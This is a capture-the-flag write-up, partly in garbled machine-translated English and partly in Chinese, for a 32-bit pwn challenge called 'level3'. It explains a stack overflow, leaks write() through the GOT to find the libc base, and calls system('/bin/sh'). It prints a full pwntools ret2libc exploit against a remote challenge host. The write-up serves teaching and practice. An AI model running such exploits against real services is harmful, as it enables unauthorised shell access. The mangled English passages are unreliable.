0xFF Extract the package ......
3 out of the two nested unlock compressed files:
Level3
libc_32.so.6
0x00 query file basic information
checksec found: this is a three noes software ......
Well ...... we leave DIE:
32 ...... program
not be the case ...... IDA.
0x01 static analysis
See main :
Follow vulnerable_function
Program logic is simple ......
0x02 attack ideas
Read can see a stack overflow attacks ......
Consider hijacking eip execution System ( "/ bin / SH") ......
Etc., neither this program nor call system "/ bin / sh" string.
But the program loads a shared library: libc_32.so.6
0x03 analysis shared libraries: libc_32.so.6
Found System () !
Find "/ bin / SH" !
Use 010Editor search
(hereinafter "/ bin / sh" just have 0x00)
"/ bin / sh" relative libc_32.so.6
offset in the file header is 0x15902B (IDA is the code for the respective local qwq ......)
system 相对libc_32.so.6
文件头的偏移为 0x3A940
所以我们只要想办法知道 libc_32.so.6 的地址
我们就可以成功获取shell……
0x04 泄露 libc_32.so.6 的地址
write 是 level3
调用的外部(共享库中的)函数。
我们可以尝试泄露 level3 GOT 表中的内容来
获取 write 在共享库中的地址。
GOT中 write 对应的条目 在第一次调用 write 函数时会被动态链接器改为
write 的绝对地址
可以尝试利用栈溢出来调用write(劫持eip到write)
/需要的eip位置/
我们write泄露出地址之后还不够,还要通过这个地址调用 system()
才行。
所以我们可以把返回的地址(call的时候eip入栈)
回到vulnerable_function的开头,这样我们就可以在泄露write之后
调用system()
所以我们可以这样
根据vulnerable_function的栈
这样构造payload来泄露write:
from pwn import *
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)
leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr
# padding ebp 劫持eip要到的位置 调用write后返回的地址
write_got_addr = p32(0x0804A018)
leak_write_payload2 = p32(1) + write_got_addr + p32(0xa5c0ffee)
# write 的参数传递 1:stdout 指针指向write的got条目 输出的长度
得到write的地址后就可以根据write在libc_32.so.6中的地址计算出
libc_32.so.6的基址,接着就可以计算出system()与"/bin/sh"的绝对地址了。
接着我们就可以生成第二次攻击的payload:
write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0
lib_addr = write_addr_in_lib - write_offset_in_lib
binsh_offset_in_lib = 0x15902B
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib
system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib
pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib)
# padding ebp 劫持eip要到的位置 (system) 返回的地址(随便填qwq) 传入"/bin/sh" 当作参数
现在就可以写出完整的exp了:
#coding=utf-8
#文件里有中文注释,要指定编码
from pwn import *
qwq = remote("111.198.29.45", 7777)
# ip port
write_got_addr = p32(0x0804A018)
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)
leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr
# padding ebp 劫持eip要到的位置 调用write后返回的地址
leak_write_payload2 = p32(1) + write_got_addr + p32(0xACC0FFEE)
# write 的参数传递 1:stdout 指针指向write的got条目 输出的长度
leak_write_payload = leak_write_payload1 + leak_write_payload2
def get_write_addr():
qwq.recvline()
qwq.sendline(leak_write_payload)
addr = qwq.recv()[0:4]
return u32(addr)
write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0
lib_addr = write_addr_in_lib - write_offset_in_lib
binsh_offset_in_lib = 0x15902B
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib
system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib
pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib)
# padding ebp 劫持eip要到的位置 (system) 返回的地址(随便填qwq) 传入"/bin/sh" 当作参数
qwq.recvline()
qwq.sendline(pwn_payload)
qwq.interactive()
看看效果: